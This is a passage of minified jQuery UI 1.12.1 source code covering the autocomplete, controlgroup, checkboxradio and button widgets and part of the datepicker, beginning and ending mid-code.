            var e, t, i, r = this.element[0].nodeName.toLowerCase(),
                o = "textarea" === r,
                n = "input" === r;
            this.isMultiLine = o || !n && this._isContentEditable(this.element), this.valueMethod = this.element[o || n ? "val" : "text"], this.isNewMenu = !0, this._addClass("ui-autocomplete-input"), this.element.attr("autocomplete", "off"), this._on(this.element, {
                keydown: function(r) {
                    if (this.element.prop("readOnly")) return e = !0, i = !0, void(t = !0);
                    e = !1, i = !1, t = !1;
                    var o = A.ui.keyCode;
                    switch (r.keyCode) {
                        case o.PAGE_UP:
                            e = !0, this._move("previousPage", r);
                            break;
                        case o.PAGE_DOWN:
                            e = !0, this._move("nextPage", r);
                            break;
                        case o.UP:
                            e = !0, this._keyEvent("previous", r);
                            break;
                        case o.DOWN:
                            e = !0, this._keyEvent("next", r);
                            break;
                        case o.ENTER:
                            this.menu.active && (e = !0, r.preventDefault(), this.menu.select(r));
                            break;
                        case o.TAB:
                            this.menu.active && this.menu.select(r);
                            break;
                        case o.ESCAPE:
                            this.menu.element.is(":visible") && (this.isMultiLine || this._value(this.term), this.close(r), r.preventDefault());
                            break;
                        default:
                            t = !0, this._searchTimeout(r)
                    }
                },
                keypress: function(i) {
                    if (e) return e = !1, void((!this.isMultiLine || this.menu.element.is(":visible")) && i.preventDefault());
                    if (!t) {
                        var r = A.ui.keyCode;
                        switch (i.keyCode) {
                            case r.PAGE_UP:
                                this._move("previousPage", i);
                                break;
                            case r.PAGE_DOWN:
                                this._move("nextPage", i);
                                break;
                            case r.UP:
                                this._keyEvent("previous", i);
                                break;
                            case r.DOWN:
                                this._keyEvent("next", i)
                        }
                    }
                },
                input: function(A) {
                    return i ? (i = !1, void A.preventDefault()) : void this._searchTimeout(A)
                },
                focus: function() {
                    this.selectedItem = null, this.previous = this._value()
                },
                blur: function(A) {
                    return this.cancelBlur ? void delete this.cancelBlur : (clearTimeout(this.searching), this.close(A), void this._change(A))
                }
            }), this._initSource(), this.menu = A("<ul>").appendTo(this._appendTo()).menu({
                role: null
            }).hide().menu("instance"), this._addClass(this.menu.element, "ui-autocomplete", "ui-front"), this._on(this.menu.element, {
                mousedown: function(e) {
                    e.preventDefault(), this.cancelBlur = !0, this._delay(function() {
                        delete this.cancelBlur, this.element[0] !== A.ui.safeActiveElement(this.document[0]) && this.element.trigger("focus")
                    })
                },
                menufocus: function(e, t) {
                    var i, r;
                    return this.isNewMenu && (this.isNewMenu = !1, e.originalEvent && /^mouse/.test(e.originalEvent.type)) ? (this.menu.blur(), void this.document.one("mousemove", function() {
                        A(e.target).trigger(e.originalEvent)
                    })) : (r = t.item.data("ui-autocomplete-item"), !1 !== this._trigger("focus", e, {
                        item: r
                    }) && e.originalEvent && /^key/.test(e.originalEvent.type) && this._value(r.value), void((i = t.item.attr("aria-label") || r.value) && A.trim(i).length && (this.liveRegion.children().hide(), A("<div>").text(i).appendTo(this.liveRegion))))
                },
                menuselect: function(e, t) {
                    var i = t.item.data("ui-autocomplete-item"),
                        r = this.previous;
                    this.element[0] !== A.ui.safeActiveElement(this.document[0]) && (this.element.trigger("focus"), this.previous = r, this._delay(function() {
                        this.previous = r, this.selectedItem = i
                    })), !1 !== this._trigger("select", e, {
                        item: i
                    }) && this._value(i.value), this.term = this._value(), this.close(e), this.selectedItem = i
                }
            }), this.liveRegion = A("<div>", {
                role: "status",
                "aria-live": "assertive",
                "aria-relevant": "additions"
            }).appendTo(this.document[0].body), this._addClass(this.liveRegion, null, "ui-helper-hidden-accessible"), this._on(this.window, {
                beforeunload: function() {
                    this.element.removeAttr("autocomplete")
                }
            })
        },
        _destroy: function() {
            clearTimeout(this.searching), this.element.removeAttr("autocomplete"), this.menu.element.remove(), this.liveRegion.remove()
        },
        _setOption: function(A, e) {
            this._super(A, e), "source" === A && this._initSource(), "appendTo" === A && this.menu.element.appendTo(this._appendTo()), "disabled" === A && e && this.xhr && this.xhr.abort()
        },
        _isEventTargetInWidget: function(e) {
            var t = this.menu.element[0];
            return e.target === this.element[0] || e.target === t || A.contains(t, e.target)
        },
        _closeOnClickOutside: function(A) {
            this._isEventTargetInWidget(A) || this.close()
        },
        _appendTo: function() {
            var e = this.options.appendTo;
            return e && (e = e.jquery || e.nodeType ? A(e) : this.document.find(e).eq(0)), e && e[0] || (e = this.element.closest(".ui-front, dialog")), e.length || (e = this.document[0].body), e
        },
        _initSource: function() {
            var e, t, i = this;
            A.isArray(this.options.source) ? (e = this.options.source, this.source = function(t, i) {
                i(A.ui.autocomplete.filter(e, t.term))
            }) : "string" == typeof this.options.source ? (t = this.options.source, this.source = function(e, r) {
                i.xhr && i.xhr.abort(), i.xhr = A.ajax({
                    url: t,
                    data: e,
                    dataType: "json",
                    success: function(A) {
                        r(A)
                    },
                    error: function() {
                        r([])
                    }
                })
            }) : this.source = this.options.source
        },
        _searchTimeout: function(A) {
            clearTimeout(this.searching), this.searching = this._delay(function() {
                var e = this.term === this._value(),
                    t = this.menu.element.is(":visible"),
                    i = A.altKey || A.ctrlKey || A.metaKey || A.shiftKey;
                (!e || e && !t && !i) && (this.selectedItem = null, this.search(null, A))
            }, this.options.delay)
        },
        search: function(A, e) {
            return A = null != A ? A : this._value(), this.term = this._value(), A.length < this.options.minLength ? this.close(e) : !1 !== this._trigger("search", e) ? this._search(A) : void 0
        },
        _search: function(A) {
            this.pending++, this._addClass("ui-autocomplete-loading"), this.cancelSearch = !1, this.source({
                term: A
            }, this._response())
        },
        _response: function() {
            var e = ++this.requestIndex;
            return A.proxy(function(A) {
                e === this.requestIndex && this.__response(A), --this.pending || this._removeClass("ui-autocomplete-loading")
            }, this)
        },
        __response: function(A) {
            A && (A = this._normalize(A)), this._trigger("response", null, {
                content: A
            }), !this.options.disabled && A && A.length && !this.cancelSearch ? (this._suggest(A), this._trigger("open")) : this._close()
        },
        close: function(A) {
            this.cancelSearch = !0, this._close(A)
        },
        _close: function(A) {
            this._off(this.document, "mousedown"), this.menu.element.is(":visible") && (this.menu.element.hide(), this.menu.blur(), this.isNewMenu = !0, this._trigger("close", A))
        },
        _change: function(A) {
            this.previous !== this._value() && this._trigger("change", A, {
                item: this.selectedItem
            })
        },
        _normalize: function(e) {
            return e.length && e[0].label && e[0].value ? e : A.map(e, function(e) {
                return "string" == typeof e ? {
                    label: e,
                    value: e
                } : A.extend({}, e, {
                    label: e.label || e.value,
                    value: e.value || e.label
                })
            })
        },
        _suggest: function(e) {
            var t = this.menu.element.empty();
            this._renderMenu(t, e), this.isNewMenu = !0, this.menu.refresh(), t.show(), this._resizeMenu(), t.position(A.extend({ of: this.element
            }, this.options.position)), this.options.autoFocus && this.menu.next(), this._on(this.document, {
                mousedown: "_closeOnClickOutside"
            })
        },
        _resizeMenu: function() {
            var A = this.menu.element;
            A.outerWidth(Math.max(A.width("").outerWidth() + 1, this.element.outerWidth()))
        },
        _renderMenu: function(e, t) {
            var i = this;
            A.each(t, function(A, t) {
                i._renderItemData(e, t)
            })
        },
        _renderItemData: function(A, e) {
            return this._renderItem(A, e).data("ui-autocomplete-item", e)
        },
        _renderItem: function(e, t) {
            return A("<li>").append(A("<div>").text(t.label)).appendTo(e)
        },
        _move: function(A, e) {
            return this.menu.element.is(":visible") ? this.menu.isFirstItem() && /^previous/.test(A) || this.menu.isLastItem() && /^next/.test(A) ? (this.isMultiLine || this._value(this.term), void this.menu.blur()) : void this.menu[A](e) : void this.search(null, e)
        },
        widget: function() {
            return this.menu.element
        },
        _value: function() {
            return this.valueMethod.apply(this.element, arguments)
        },
        _keyEvent: function(A, e) {
            (!this.isMultiLine || this.menu.element.is(":visible")) && (this._move(A, e), e.preventDefault())
        },
        _isContentEditable: function(A) {
            if (!A.length) return !1;
            var e = A.prop("contentEditable");
            return "inherit" === e ? this._isContentEditable(A.parent()) : "true" === e
        }
    }), A.extend(A.ui.autocomplete, {
        escapeRegex: function(A) {
            return A.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&")
        },
        filter: function(e, t) {
            var i = RegExp(A.ui.autocomplete.escapeRegex(t), "i");
            return A.grep(e, function(A) {
                return i.test(A.label || A.value || A)
            })
        }
    }), A.widget("ui.autocomplete", A.ui.autocomplete, {
        options: {
            messages: {
                noResults: "No search results.",
                results: function(A) {
                    return A + (A > 1 ? " results are" : " result is") + " available, use up and down arrow keys to navigate."
                }
            }
        },
        __response: function(e) {
            var t;
            this._superApply(arguments), this.options.disabled || this.cancelSearch || (t = e && e.length ? this.options.messages.results(e.length) : this.options.messages.noResults, this.liveRegion.children().hide(), A("<div>").text(t).appendTo(this.liveRegion))
        }
    }), A.ui.autocomplete;
    var B = /ui-corner-([a-z]){2,6}/g;
    A.widget("ui.controlgroup", {
        version: "1.12.1",
        defaultElement: "<div>",
        options: {
            direction: "horizontal",
            disabled: null,
            onlyVisible: !0,
            items: {
                button: "input[type=button], input[type=submit], input[type=reset], button, a",
                controlgroupLabel: ".ui-controlgroup-label",
                checkboxradio: "input[type='checkbox'], input[type='radio']",
                selectmenu: "select",
                spinner: ".ui-spinner-input"
            }
        },
        _create: function() {
            this._enhance()
        },
        _enhance: function() {
            this.element.attr("role", "toolbar"), this.refresh()
        },
        _destroy: function() {
            this._callChildMethod("destroy"), this.childWidgets.removeData("ui-controlgroup-data"), this.element.removeAttr("role"), this.options.items.controlgroupLabel && this.element.find(this.options.items.controlgroupLabel).find(".ui-controlgroup-label-contents").contents().unwrap()
        },
        _initWidgets: function() {
            var e = this,
                t = [];
            A.each(this.options.items, function(i, r) {
                var o, n = {};
                return r ? "controlgroupLabel" === i ? (o = e.element.find(r), o.each(function() {
                    var e = A(this);
                    e.children(".ui-controlgroup-label-contents").length || e.contents().wrapAll("<span class='ui-controlgroup-label-contents'></span>")
                }), e._addClass(o, null, "ui-widget ui-widget-content ui-state-default"), void(t = t.concat(o.get()))) : void(A.fn[i] && (n = e["_" + i + "Options"] ? e["_" + i + "Options"]("middle") : {
                    classes: {}
                }, e.element.find(r).each(function() {
                    var r = A(this),
                        o = r[i]("instance"),
                        s = A.widget.extend({}, n);
                    if ("button" !== i || !r.parent(".ui-spinner").length) {
                        o || (o = r[i]()[i]("instance")), o && (s.classes = e._resolveClassesValues(s.classes, o)), r[i](s);
                        var a = r[i]("widget");
                        A.data(a[0], "ui-controlgroup-data", o || r[i]("instance")), t.push(a[0])
                    }
                }))) : void 0
            }), this.childWidgets = A(A.unique(t)), this._addClass(this.childWidgets, "ui-controlgroup-item")
        },
        _callChildMethod: function(e) {
            this.childWidgets.each(function() {
                var t = A(this),
                    i = t.data("ui-controlgroup-data");
                i && i[e] && i[e]()
            })
        },
        _updateCornerClass: function(A, e) {
            var t = this._buildSimpleOptions(e, "label").classes.label;
            this._removeClass(A, null, "ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all"), this._addClass(A, null, t)
        },
        _buildSimpleOptions: function(A, e) {
            var t = "vertical" === this.options.direction,
                i = {
                    classes: {}
                };
            return i.classes[e] = {
                middle: "",
                first: "ui-corner-" + (t ? "top" : "left"),
                last: "ui-corner-" + (t ? "bottom" : "right"),
                only: "ui-corner-all"
            } [A], i
        },
        _spinnerOptions: function(A) {
            var e = this._buildSimpleOptions(A, "ui-spinner");
            return e.classes["ui-spinner-up"] = "", e.classes["ui-spinner-down"] = "", e
        },
        _buttonOptions: function(A) {
            return this._buildSimpleOptions(A, "ui-button")
        },
        _checkboxradioOptions: function(A) {
            return this._buildSimpleOptions(A, "ui-checkboxradio-label")
        },
        _selectmenuOptions: function(A) {
            var e = "vertical" === this.options.direction;
            return {
                width: !!e && "auto",
                classes: {
                    middle: {
                        "ui-selectmenu-button-open": "",
                        "ui-selectmenu-button-closed": ""
                    },
                    first: {
                        "ui-selectmenu-button-open": "ui-corner-" + (e ? "top" : "tl"),
                        "ui-selectmenu-button-closed": "ui-corner-" + (e ? "top" : "left")
                    },
                    last: {
                        "ui-selectmenu-button-open": e ? "" : "ui-corner-tr",
                        "ui-selectmenu-button-closed": "ui-corner-" + (e ? "bottom" : "right")
                    },
                    only: {
                        "ui-selectmenu-button-open": "ui-corner-top",
                        "ui-selectmenu-button-closed": "ui-corner-all"
                    }
                } [A]
            }
        },
        _resolveClassesValues: function(e, t) {
            var i = {};
            return A.each(e, function(r) {
                var o = t.options.classes[r] || "";
                o = A.trim(o.replace(B, "")), i[r] = (o + " " + e[r]).replace(/\s+/g, " ")
            }), i
        },
        _setOption: function(A, e) {
            return "direction" === A && this._removeClass("ui-controlgroup-" + this.options.direction), this._super(A, e), "disabled" === A ? void this._callChildMethod(e ? "disable" : "enable") : void this.refresh()
        },
        refresh: function() {
            var e, t = this;
            this._addClass("ui-controlgroup ui-controlgroup-" + this.options.direction), "horizontal" === this.options.direction && this._addClass(null, "ui-helper-clearfix"), this._initWidgets(), e = this.childWidgets, this.options.onlyVisible && (e = e.filter(":visible")), e.length && (A.each(["first", "last"], function(A, i) {
                var r = e[i]().data("ui-controlgroup-data");
                if (r && t["_" + r.widgetName + "Options"]) {
                    var o = t["_" + r.widgetName + "Options"](1 === e.length ? "only" : i);
                    o.classes = t._resolveClassesValues(o.classes, r), r.element[r.widgetName](o)
                } else t._updateCornerClass(e[i](), i)
            }), this._callChildMethod("refresh"))
        }
    }), A.widget("ui.checkboxradio", [A.ui.formResetMixin, {
        version: "1.12.1",
        options: {
            disabled: null,
            label: null,
            icon: !0,
            classes: {
                "ui-checkboxradio-label": "ui-corner-all",
                "ui-checkboxradio-icon": "ui-corner-all"
            }
        },
        _getCreateOptions: function() {
            var e, t, i = this,
                r = this._super() || {};
            return this._readType(), t = this.element.labels(), this.label = A(t[t.length - 1]), this.label.length || A.error("No label found for checkboxradio widget"), this.originalLabel = "", this.label.contents().not(this.element[0]).each(function() {
                i.originalLabel += 3 === this.nodeType ? A(this).text() : this.outerHTML
            }), this.originalLabel && (r.label = this.originalLabel), e = this.element[0].disabled, null != e && (r.disabled = e), r
        },
        _create: function() {
            var A = this.element[0].checked;
            this._bindFormResetHandler(), null == this.options.disabled && (this.options.disabled = this.element[0].disabled), this._setOption("disabled", this.options.disabled), this._addClass("ui-checkboxradio", "ui-helper-hidden-accessible"), this._addClass(this.label, "ui-checkboxradio-label", "ui-button ui-widget"), "radio" === this.type && this._addClass(this.label, "ui-checkboxradio-radio-label"), this.options.label && this.options.label !== this.originalLabel ? this._updateLabel() : this.originalLabel && (this.options.label = this.originalLabel), this._enhance(), A && (this._addClass(this.label, "ui-checkboxradio-checked", "ui-state-active"), this.icon && this._addClass(this.icon, null, "ui-state-hover")), this._on({
                change: "_toggleClasses",
                focus: function() {
                    this._addClass(this.label, null, "ui-state-focus ui-visual-focus")
                },
                blur: function() {
                    this._removeClass(this.label, null, "ui-state-focus ui-visual-focus")
                }
            })
        },
        _readType: function() {
            var e = this.element[0].nodeName.toLowerCase();
            this.type = this.element[0].type, "input" === e && /radio|checkbox/.test(this.type) || A.error("Can't create checkboxradio on element.nodeName=" + e + " and element.type=" + this.type)
        },
        _enhance: function() {
            this._updateIcon(this.element[0].checked)
        },
        widget: function() {
            return this.label
        },
        _getRadioGroup: function() {
            var e, t = this.element[0].name,
                i = "input[name='" + A.ui.escapeSelector(t) + "']";
            return t ? (e = this.form.length ? A(this.form[0].elements).filter(i) : A(i).filter(function() {
                return 0 === A(this).form().length
            }), e.not(this.element)) : A([])
        },
        _toggleClasses: function() {
            var e = this.element[0].checked;
            this._toggleClass(this.label, "ui-checkboxradio-checked", "ui-state-active", e), this.options.icon && "checkbox" === this.type && this._toggleClass(this.icon, null, "ui-icon-check ui-state-checked", e)._toggleClass(this.icon, null, "ui-icon-blank", !e), "radio" === this.type && this._getRadioGroup().each(function() {
                var e = A(this).checkboxradio("instance");
                e && e._removeClass(e.label, "ui-checkboxradio-checked", "ui-state-active")
            })
        },
        _destroy: function() {
            this._unbindFormResetHandler(), this.icon && (this.icon.remove(), this.iconSpace.remove())
        },
        _setOption: function(A, e) {
            return "label" !== A || e ? (this._super(A, e), "disabled" === A ? (this._toggleClass(this.label, null, "ui-state-disabled", e), void(this.element[0].disabled = e)) : void this.refresh()) : void 0
        },
        _updateIcon: function(e) {
            var t = "ui-icon ui-icon-background ";
            this.options.icon ? (this.icon || (this.icon = A("<span>"), this.iconSpace = A("<span> </span>"), this._addClass(this.iconSpace, "ui-checkboxradio-icon-space")), "checkbox" === this.type ? (t += e ? "ui-icon-check ui-state-checked" : "ui-icon-blank", this._removeClass(this.icon, null, e ? "ui-icon-blank" : "ui-icon-check")) : t += "ui-icon-blank", this._addClass(this.icon, "ui-checkboxradio-icon", t), e || this._removeClass(this.icon, null, "ui-icon-check ui-state-checked"), this.icon.prependTo(this.label).after(this.iconSpace)) : void 0 !== this.icon && (this.icon.remove(), this.iconSpace.remove(), delete this.icon)
        },
        _updateLabel: function() {
            var A = this.label.contents().not(this.element[0]);
            this.icon && (A = A.not(this.icon[0])), this.iconSpace && (A = A.not(this.iconSpace[0])), A.remove(), this.label.append(this.options.label)
        },
        refresh: function() {
            var A = this.element[0].checked,
                e = this.element[0].disabled;
            this._updateIcon(A), this._toggleClass(this.label, "ui-checkboxradio-checked", "ui-state-active", A), null !== this.options.label && this._updateLabel(), e !== this.options.disabled && this._setOptions({
                disabled: e
            })
        }
    }]), A.ui.checkboxradio, A.widget("ui.button", {
        version: "1.12.1",
        defaultElement: "<button>",
        options: {
            classes: {
                "ui-button": "ui-corner-all"
            },
            disabled: null,
            icon: null,
            iconPosition: "beginning",
            label: null,
            showLabel: !0
        },
        _getCreateOptions: function() {
            var A, e = this._super() || {};
            return this.isInput = this.element.is("input"), A = this.element[0].disabled, null != A && (e.disabled = A), this.originalLabel = this.isInput ? this.element.val() : this.element.html(), this.originalLabel && (e.label = this.originalLabel), e
        },
        _create: function() {
            !this.option.showLabel & !this.options.icon && (this.options.showLabel = !0), null == this.options.disabled && (this.options.disabled = this.element[0].disabled || !1), this.hasTitle = !!this.element.attr("title"), this.options.label && this.options.label !== this.originalLabel && (this.isInput ? this.element.val(this.options.label) : this.element.html(this.options.label)), this._addClass("ui-button", "ui-widget"), this._setOption("disabled", this.options.disabled), this._enhance(), this.element.is("a") && this._on({
                keyup: function(e) {
                    e.keyCode === A.ui.keyCode.SPACE && (e.preventDefault(), this.element[0].click ? this.element[0].click() : this.element.trigger("click"))
                }
            })
        },
        _enhance: function() {
            this.element.is("button") || this.element.attr("role", "button"), this.options.icon && (this._updateIcon("icon", this.options.icon), this._updateTooltip())
        },
        _updateTooltip: function() {
            this.title = this.element.attr("title"), this.options.showLabel || this.title || this.element.attr("title", this.options.label)
        },
        _updateIcon: function(e, t) {
            var i = "iconPosition" !== e,
                r = i ? this.options.iconPosition : t,
                o = "top" === r || "bottom" === r;
            this.icon ? i && this._removeClass(this.icon, null, this.options.icon) : (this.icon = A("<span>"), this._addClass(this.icon, "ui-button-icon", "ui-icon"), this.options.showLabel || this._addClass("ui-button-icon-only")), i && this._addClass(this.icon, null, t), this._attachIcon(r), o ? (this._addClass(this.icon, null, "ui-widget-icon-block"), this.iconSpace && this.iconSpace.remove()) : (this.iconSpace || (this.iconSpace = A("<span> </span>"), this._addClass(this.iconSpace, "ui-button-icon-space")), this._removeClass(this.icon, null, "ui-wiget-icon-block"), this._attachIconSpace(r))
        },
        _destroy: function() {
            this.element.removeAttr("role"), this.icon && this.icon.remove(), this.iconSpace && this.iconSpace.remove(), this.hasTitle || this.element.removeAttr("title")
        },
        _attachIconSpace: function(A) {
            this.icon[/^(?:end|bottom)/.test(A) ? "before" : "after"](this.iconSpace)
        },
        _attachIcon: function(A) {
            this.element[/^(?:end|bottom)/.test(A) ? "append" : "prepend"](this.icon)
        },
        _setOptions: function(A) {
            var e = void 0 === A.showLabel ? this.options.showLabel : A.showLabel,
                t = void 0 === A.icon ? this.options.icon : A.icon;
            e || t || (A.showLabel = !0), this._super(A)
        },
        _setOption: function(A, e) {
            "icon" === A && (e ? this._updateIcon(A, e) : this.icon && (this.icon.remove(), this.iconSpace && this.iconSpace.remove())), "iconPosition" === A && this._updateIcon(A, e), "showLabel" === A && (this._toggleClass("ui-button-icon-only", null, !e), this._updateTooltip()), "label" === A && (this.isInput ? this.element.val(e) : (this.element.html(e), this.icon && (this._attachIcon(this.options.iconPosition), this._attachIconSpace(this.options.iconPosition)))), this._super(A, e), "disabled" === A && (this._toggleClass(null, "ui-state-disabled", e), this.element[0].disabled = e, e && this.element.blur())
        },
        refresh: function() {
            var A = this.element.is("input, button") ? this.element[0].disabled : this.element.hasClass("ui-button-disabled");
            A !== this.options.disabled && this._setOptions({
                disabled: A
            }), this._updateTooltip()
        }
    }), !1 !== A.uiBackCompat && (A.widget("ui.button", A.ui.button, {
        options: {
            text: !0,
            icons: {
                primary: null,
                secondary: null
            }
        },
        _create: function() {
            this.options.showLabel && !this.options.text && (this.options.showLabel = this.options.text), !this.options.showLabel && this.options.text && (this.options.text = this.options.showLabel), this.options.icon || !this.options.icons.primary && !this.options.icons.secondary ? this.options.icon && (this.options.icons.primary = this.options.icon) : this.options.icons.primary ? this.options.icon = this.options.icons.primary : (this.options.icon = this.options.icons.secondary, this.options.iconPosition = "end"), this._super()
        },
        _setOption: function(A, e) {
            return "text" === A ? void this._super("showLabel", e) : ("showLabel" === A && (this.options.text = e), "icon" === A && (this.options.icons.primary = e), "icons" === A && (e.primary ? (this._super("icon", e.primary), this._super("iconPosition", "beginning")) : e.secondary && (this._super("icon", e.secondary), this._super("iconPosition", "end"))), void this._superApply(arguments))
        }
    }), A.fn.button = function(e) {
        return function() {
            return !this.length || this.length && "INPUT" !== this[0].tagName || this.length && "INPUT" === this[0].tagName && "checkbox" !== this.attr("type") && "radio" !== this.attr("type") ? e.apply(this, arguments) : (A.ui.checkboxradio || A.error("Checkboxradio widget missing"), 0 === arguments.length ? this.checkboxradio({
                icon: !1
            }) : this.checkboxradio.apply(this, arguments))
        }
    }(A.fn.button), A.fn.buttonset = function() {
        return A.ui.controlgroup || A.error("Controlgroup widget missing"), "option" === arguments[0] && "items" === arguments[1] && arguments[2] ? this.controlgroup.apply(this, [arguments[0], "items.button", arguments[2]]) : "option" === arguments[0] && "items" === arguments[1] ? this.controlgroup.apply(this, [arguments[0], "items.button"]) : ("object" == typeof arguments[0] && arguments[0].items && (arguments[0].items = {
            button: arguments[0].items
        }), this.controlgroup.apply(this, arguments))
    }), A.ui.button, A.extend(A.ui, {
        datepicker: {
            version: "1.12.1"
        }
    });
    var g;
    A.extend(i.prototype, {
        markerClassName: "hasDatepicker",
        maxRows: 4,
        _widgetDatepicker: function() {
            return this.dpDiv
        },
        setDefaults: function(A) {
            return n(this._defaults, A || {}), this
        },
        _attachDatepicker: function(e, t) {
            var i, r, o;
            i = e.nodeName.toLowerCase(), r = "div" === i || "span" === i, e.id || (this.uuid += 1, e.id = "dp" + this.uuid), o = this._newInst(A(e), r), o.settings = A.extend({}, t || {}), "input" === i ? this._connectDatepicker(e, o) : r && this._inlineDatepicker(e, o)
        },
        _newInst: function(e, t) {
            return {
                id: e[0].id.replace(/([^A-Za-z0-9_\-])/g, "\\\\$1"),
                input: e,
                selectedDay: 0,
                selectedMonth: 0,
                selectedYear: 0,
                drawMonth: 0,
                drawYear: 0,
                inline: t,
                dpDiv: t ? r(A("<div class='" + this._inlineClass + " ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")) : this.dpDiv
            }
        },
        _connectDatepicker: function(e, t) {
            var i = A(e);
            t.append = A([]), t.trigger = A([]), i.hasClass(this.markerClassName) || (this._attachments(i, t), i.addClass(this.markerClassName).on("keydown", this._doKeyDown).on("keypress", this._doKeyPress).on("keyup", this._doKeyUp), this._autoSize(t), A.data(e, "datepicker", t), t.settings.disabled && this._disableDatepicker(e))
        },
        _attachments: function(e, t) {
            var i, r, o, n = this._get(t, "appendText"),
                s = this._get(t, "isRTL");
            t.append && t.append.remove(), n && (t.append = A("<span class='" + this._appendClass + "'>" + n + "</span>"), e[s ? "before" : "after"](t.append)), e.off("focus", this._showDatepicker), t.trigger && t.trigger.remove(), i = this._get(t, "showOn"), ("focus" === i || "both" === i) && e.on("focus", this._showDatepicker), ("button" === i || "both" === i) && (r = this._get(t, "buttonText"), o = this._get(t, "buttonImage"), t.trigger = A(this._get(t, "buttonImageOnly") ? A("<img/>").addClass(this._triggerClass).attr({
                src: o,
                alt: r,
                title: r
            }) : A("<button type='button'></button>").addClass(this._triggerClass).html(o ? A("<img/>").attr({
                src: o,
                alt: r,
                title: r
            }) : r)), e[s ? "before" : "after"](t.trigger), t.trigger.on("click", function() {
                return A.datepicker._datepickerShowing && A.datepicker._lastInput === e[0] ? A.datepicker._hideDatepicker() : A.datepicker._datepickerShowing && A.datepicker._lastInput !== e[0] ? (A.datepicker._hideDatepicker(), A.datepicker._showDatepicker(e[0])) : A.datepicker._showDatepicker(e[0]), !1
            }))
        },
        _autoSize: function(A) {
            if (this._get(A, "autoSize") && !A.inline) {
                var e, t, i, r, o = new Date(2009, 11, 20),
                    n = this._get(A, "dateFormat");
                n.match(/[DM]/) && (e = function(A) {
                    for (t = 0, i = 0, r = 0; A.length > r; r++) A[r].length > t && (t = A[r].length, i = r);
                    return i
                }, o.setMonth(e(this._get(A, n.match(/MM/) ? "monthNames" : "monthNamesShort"))), o.setDate(e(this._get(A, n.match(/DD/) ? "dayNames" : "dayNamesShort")) + 20 - o.getDay())), A.input.attr("size", this._formatDate(A, o).length)
            }
        },
        _inlineDatepicker: function(e, t) {
            var i = A(e);
            i.hasClass(this.markerClassName) || (i.addClass(this.markerClassName).append(t.dpDiv), A.data(e, "datepicker", t), this._setDate(t, this._getDefaultDate(t), !0), this._updateDatepicker(t), this._updateAlternate(t), t.settings.disabled && this._disableDatepicker(e), t.dpDiv.css("display", "block"))
        },
        _dialogDatepicker: function(e, t, i, r, o) {
            var s, a, I, l, c, B = this._dialogInst;
            return B || (this.uuid += 1, s = "dp" + this.uuid,
                this._dialogInput = A("<input type='text' id='" + s + "' style='position: absolute; top: -100px; width: 0px;'/>"), this._dialogInput.on("keydown", this._doKeyDown), A("body").append(this._dialogInput), B = this._dialogInst = this._newInst(this._dialogInput, !1), B.settings = {}, A.data(this._dialogInput[0], "datepicker", B)), n(B.settings, r || {}), t = t && t.constructor === Date ? this._formatDate(B, t) : t, this._dialogInput.val(t), this._pos = o ? o.length ? o : [o.pageX, o.pageY] : null, this._pos || (a = document.documentElement.clientWidth, I = document.documentElement.clientHeight, l = document.documentElement.scrollLeft || document.body.scrollLeft, c = document.documentElement.scrollTop || document.body.scrollTop, this._pos = [a / 2 - 100 + l, I / 2 - 150 + c]), this._dialogInput.css("left", this._pos[0] + 20 + "px").css("top", this._pos[1] + "px"), B.settings.onSelect = i, this._inDialog = !0, this.dpDiv.addClass(this._dialogClass), this._showDatepicker(this._dialogInput[0]), A.blockUI && A.blockUI(this.dpDiv), A.data(this._dialogInput[0], "datepicker", B), this
        },
        _destroyDatepicker: function(e) {
            var t, i = A(e),
                r = A.data(e, "datepicker");
            i.hasClass(this.markerClassName) && (t = e.nodeName.toLowerCase(), A.removeData(e, "datepicker"), "input" === t ? (r.append.remove(), r.trigger.remove(), i.removeClass(this.markerClassName).off("focus", this._showDatepicker).off("keydown", this._doKeyDown).off("keypress", this._doKeyPress).off("keyup", this._doKeyUp)) : ("div" === t || "span" === t) && i.removeClass(this.markerClassName).empty(), g === r && (g = null))
        },
        _enableDatepicker: function(e) {
            var t, i, r = A(e),
                o = A.data(e, "datepicker");
            r.hasClass(this.markerClassName) && (t = e.nodeName.toLowerCase(), "input" === t ? (e.disabled = !1, o.trigger.filter("button").each(function() {
                this.disabled = !1
            }).end().filter("img").css({
                opacity: "1.0",
                cursor: ""
            })) : ("div" === t || "span" === t) && (i = r.children("." + this._inlineClass), i.children().removeClass("ui-state-disabled"), i.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled", !1)), this._disabledInputs = A.map(this._disabledInputs, function(A) {
                return A === e ? null : A
            }))
        },
        _disableDatepicker: function(e) {
            var t, i, r = A(e),
                o = A.data(e, "datepicker");
            r.hasClass(this.markerClassName) && (t = e.nodeName.toLowerCase(), "input" === t ? (e.disabled = !0, o.trigger.filter("button").each(function() {
                this.disabled = !0
            }).end().filter("img").css({
                opacity: "0.5",
                cursor: "default"
            })) : ("div" === t || "span" === t) && (i = r.children("." + this._inlineClass), i.children().addClass("ui-state-disabled"), i.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled", !0)), this._disabledInputs = A.map(this._disabledInputs, function(A) {
                return A === e ? null : A
            }), this._disabledInputs[this._disabledInputs.length] = e)
        },
        _isDisabledDatepicker: function(A) {
            if (!A) return !1;
            for (var e = 0; this._disabledInputs.length > e; e++)
                if (this._disabledInputs[e] === A) return !0;
            return !1
        },
        _getInst: function(e) {
            try {
                return A.data(e, "datepicker")
            } catch (A) {
                throw "Missing instance data for this datepicker"
            }
        },
        _optionDatepicker: function(e, t, i) {
            var r, o, s, a, I = this._getInst(e);
